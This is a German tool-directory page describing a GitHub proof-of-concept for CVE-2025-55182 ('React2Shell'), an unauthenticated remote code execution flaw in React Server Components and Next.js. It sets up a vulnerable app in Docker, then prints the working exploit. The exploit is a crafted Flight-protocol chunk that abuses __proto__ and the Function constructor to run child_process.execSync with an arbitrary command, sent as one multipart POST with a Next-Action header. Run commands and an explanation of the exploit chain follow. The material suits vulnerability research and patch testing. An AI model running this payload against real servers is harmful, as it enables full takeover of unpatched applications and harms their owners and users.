Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-55182-poc — Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls. | Kitploit
Tools/GitHubGitHub/monarchfish/cve-2025-55182-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls.

Repository anzeigen
18vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Grundlegende Informationen

CVE-2025-55182 ist eine der am weitesten verbreiteten Schwachstellen in Web-Frameworks im Jahr 2025. React Server Components (RSC) sind inzwischen die vorherrschende Architektur moderner Next.js-Anwendungen. Eine Vielzahl von Standardprojekten, die mit create-next-app erstellt wurden, ist betroffen – und die Schwachstelle kann ohne jeglichen benutzerdefinierten Code ausgenutzt werden.

ElementInhalt
CVE-KennungCVE-2025-55182
AlternativnameReact2Shell
SchwachstellentypNicht authentifizierte Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialisierung nicht vertrauenswürdiger Daten (Deserialization of Untrusted Data) [3]
CVSS-Score10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Betroffene Paketereact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Betroffene VersionenReact 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 und höher, 15.x, 16.x
AngriffskomplexitätSehr gering (ein einzelner HTTP-POST-Request)
Authentifizierung erforderlichNein

Ablauf zur Erstellung des POC

1. App mit der offiziellen Syntax erstellen

Erstellen Sie eine Next-Anwendung mit der verwundbaren Version (16.0.6):

pnpm create [email protected] next-app --yes

2. Eine Test-Server-Action erstellen

  1. Fügen Sie unter next-app/app/ eine Datei actions.ts hinzu und markieren Sie sie als Server Action:

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Fügen Sie auf der Startseite (z. B. app/page.tsx) ein Formular hinzu, dessen action auf die oben genannte testAction verweist und das mindestens ein Feld enthält (z. B. ein Hidden Input).

    Next.js erzeugt für dieses Formular im HTML ein Hidden Input mit name="$ACTION_ID_<40 Zeichen hex>"; der POC extrahiert diese ID per Regex aus dem HTML der Startseite.

3. Eine sichere containerisierte POC-Umgebung erstellen

Die Dateien next-app/Dockerfile und docker-compose.yml im Projekt können zum Erstellen und Ausführen der Next-Anwendung verwendet werden; als Vorbild kann das offizielle Beispiel [8] dienen.

Führen Sie im Projektstammverzeichnis aus:

docker compose up --build -d

Die gestartete Next-Anwendung ist anschließend unter http://localhost:3000 erreichbar.

Entfernen Sie nach Abschluss des POC die Docker-Umgebung vollständig:

docker compose down -v

Schritte zur Ausnutzung der Schwachstelle

Schritt 1: ACTION_ID ermitteln

Beim Ausführen des POC ruft das Skript die Startseite ab und extrahiert die ID mit dem Regex \$ACTION_ID_([a-f0-9]{40})/. Beispiel:

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Schritt 2: Exploit ausführen

Installieren Sie die Abhängigkeiten im Projektstammverzeichnis und führen Sie Folgendes aus:

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Die zentralen Codeausschnitte sind:

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Im Folgenden wird als Beispiel das Schreiben einer Datei auf dem Zielsystem gezeigt:

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Schritt 3: Ergebnisse beobachten

  • Bei erfolgreicher RCE kann der Server nach der Ausführung des Befehls hängen bleiben oder eine Zeitüberschreitung auftreten – ein Request-Timeout ist in diesem Fall erwartetes Verhalten.
  • Überprüfen Sie auf dem Zielsystem, ob der Befehl ausgeführt wurde (z. B. durch Prüfen von Dateien oder Prozessen).
  • Sie können mit docker compose exec in den Container wechseln oder über Docker Desktop nachsehen.

Erläuterung des Prinzips

Ort der Schwachstelle

Die Schwachstelle befindet sich in der Flight-Protokoll-Deserialisierung von React (RSC Flight Deserializer). Dieser Mechanismus ist für die Übertragung des React-Komponentenzustands zwischen Server und Client zuständig, weist jedoch ein schwerwiegendes Problem an der Vertrauensgrenze im Verarbeitungsprozess auf.

Das React-Flight-Protokoll ist das von React für Server Components und Server Actions entworfene Wire-Format: Es serialisiert Komponentenbäume, Funktionsargumente usw. in einen als JSON dargestellten Chunk-Stream und erstellt über $Nummer und $Nummer:Schlüsselname Referenzen zwischen den Chunks, sodass der Server daraus vollständige JavaScript-Werte rekonstruieren kann.

Exploit-Kette

Angreifer sendet bösartigen HTTP-POST-Request
        ↓
[Phase 1] Erstellen eines selbstreferenziellen Schleifenobjekts (Self-referential loop)
        ↓
[Phase 2] JavaScript-Engine dazu verleiten, eine vom Angreifer kontrollierte Funktion aufzurufen
        ↓
[Phase 3] Injizieren bösartiger Daten, um den Flight-Initialisierungsprozess auszulösen
        ↓
[Phase 4] Aufruf des Function-Konstruktors über den Blob-Handler
        ↓
Beliebiger JavaScript-Code wird serverseitig ausgeführt (RCE)

React Server und das Übertragungsformat

Die Server Functions von React (in Next.js als Server Actions bekannt) serialisieren die Daten, die das Frontend an das Backend senden möchte, über das React-Flight-Protokoll in einzelne Chunks und übermitteln sie anschließend als Formulardaten (Form Data).

Zu den Vorteilen dieses Designs gehören:

  • Streaming: Chunks können sequenziell erzeugt und geparst werden, ohne auf das vollständige Payload warten zu müssen – vorteilhaft für Latenz und Speicherkontrolle.
  • Deduplizierung und gemeinsame Nutzung: Dieselben Daten werden nur einmal serialisiert und an mehreren Stellen per Referenz darauf verwiesen, was Duplikate und Übertragungsvolumen reduziert.
  • Kompatibel mit Formular-POST: Chunks werden als Multipart-Felder übertragen; es ist kein benutzerdefiniertes Binärprotokoll erforderlich, was auch für bestehende CDNs, Proxys und Debugging von Vorteil ist.
  • Ausdrucksfähigkeit komplexer Strukturen: Verschachtelte Objekte und durch Referenzen ausgedrückte Graphstrukturen werden unterstützt, um die für RPC erforderlichen reichhaltigen Typen abzudecken.

Chunks können einander referenzieren, zum Beispiel:

  • Chunk 0: ["$1"] (referenziert Chunk 1)
  • Chunk 1: {"object":"fruit","name":"$2:fruitName"} (referenziert fruitName aus Chunk 2)
  • Chunk 2: {"fruitName":"cherry"}

Der Server interpretiert dies und erhält: { object: 'fruit', name: 'cherry' }. Das Protokoll erlaubt es also, mit $Nummer:Schlüsselname auf Eigenschaften anderer Chunks zu verweisen und daraus das endgültige JavaScript-Objekt zusammenzusetzen.

Ursache der Schwachstelle

Tool herunterladen